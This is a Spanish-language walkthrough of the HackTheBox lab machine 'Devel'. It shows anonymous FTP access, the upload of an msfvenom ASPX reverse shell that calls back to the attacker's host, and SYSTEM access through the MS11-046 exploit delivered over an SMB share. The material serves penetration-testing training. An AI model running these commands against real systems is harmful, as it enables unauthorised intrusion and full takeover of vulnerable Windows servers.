¡Hola! Vamos a resolver de la máquina Devel
de dificultad “Fácil” de la plataforma HackTheBox.
Técnicas Vistas:
- Abusing FTP + IIS Services
- Microsoft Windows (x86) – ‘afd.sys’ (MS11-046) [Privilege Escalation]
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Devel
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.5
PING 10.10.10.5 (10.10.10.5) 56(84) bytes of data.
64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=42.3 ms
--- 10.10.10.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.5 -oG allPorts
PORT STATE SERVICE REASON
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -sCV -p21,80 10.10.10.5 -oN targeted
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
3
❯ whatweb 10.10.10.5
http://10.10.10.5 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.5], Microsoft-IIS[7.5][Under Construction], Title[IIS7], X-Powered-By[ASP.NET]
Vemos que el servicio Web corre bajo IIS 7.5 y en el navegador únicamente vemos la imagen de bienvenida de IIS7
Reconocimiento FTP
En los resultados de nmap
vimos como el servicio FTP permite el lgin con usuario Anonymous. Vamos a echar un ojo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:yorch): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
03-17-17 04:37PM 184946 welcome.png
226 Transfer complete.
ftp>
Por los archivos que contiene llegamos a la conclusión de que el contenido de la Web se encuentra alojado en el servicio FTP
Explotación
Ya que tenemos la posibilidad de subir archivos por FTP, vamos a crear un archivo aspx malicioso con la herramienta msfvenom
para entablar una reverse shell con la máquina víctima
1
2
3
4
5
6
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.91 LPORT=443 -f aspx > shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of aspx file: 2741 bytes
Procedemos a subir por FTP el archivo a la máquina víctima
1
2
3
4
5
6
7
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2779 bytes sent in 0.00 secs (94.6522 MB/s)
ftp>
Nos abrimos un listener por el puerto 443, ejectuamos desde el navegador el archivo malicioso y ya tenemos una shell operativa
1
2
3
4
5
6
7
8
9
10
❯ sudo nc -nlvp 443
[sudo] password for yorch:
listening on [any] 443 ...
connect to [10.10.14.91] from (UNKNOWN) [10.10.10.5] 49158
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web
Escalada Privilegios
Empezamos con la enumeración listando privilegios asignados al usuario
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
c:\Users>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Vemos el privilegio SeImpersonatePrivilege
donde con la herramienta JuicyPotato podríamos escalar privilegios rápidamente. Puedes consultar los writeups de las máquinas Granny y Grandpa para escalar por esta vía. Esta vez no la haremos con esta técnica por lo que seguimos con la enumeración listando información del sistema
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c:\Users>systeminfo
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31
System Boot Time: 3/11/2022, 4:53:58
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Hacemos una búsqueda por la versión del sistema 6.1.7600 N/A Build 7600
y rápidamente encontramos una vía de escalada para la que utilizaremos el repositorio de GitHub de SecWiki
Nos descargamos el ejecutable en nuestro directorio de trabajo exploits
compartimos el recurso a nivel de red con imapcket-smbserver
y en la máquina víctima nos dirigimos al directorio tmp
, nos descargamos el exploit y lo ejecutamos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ATACANTE
❯ impacket-smbserver smb $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.5,49163)
[*] AUTHENTICATE_MESSAGE (\,DEVEL)
[*] User DEVEL\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smb)
1
2
3
4
5
#VICTIMA
c:\Windows\Temp>copy \\10.10.14.91\smb\ms11-046.exe ms11-046.exe
copy \\10.10.14.91\smb\ms11-046.exe ms11-046.exe
1 file(s) copied.
Ejecutamos el binario y ya tenemos shell con privilegios de root
1
2
3
4
5
6
c:\Windows\Temp>ms11-046.exe
ms11-046.exe
c:\Windows\System32>whoami
whoami
nt authority\system
Flags
Tras una búsqueda desde la raíz localizamos las flags en sus respectivos directorios. Con el comando type
nos muestra el contenido.
1
2
3
4
5
6
7
8
9
10
11
12
#USER
cd c:\
c:\>dir /r /s user.txt
dir /r /s user.txt
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of c:\Users\babis\Desktop
cd c:\Users\babis\Desktop
type user.txt
0acf3098baca47798***************
1
2
3
4
5
6
7
8
9
10
11
#ROOT
c:\>dir /r /s root.txt
dir /r /s root.txt
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of c:\Users\Administrator\Desktop
cd c:\Users\Administrator\Desktop
type root.txt
cb5e74abceabab8df***************
Hemos completado la máquina Devel de HackTheBox!! Happy Hacking!!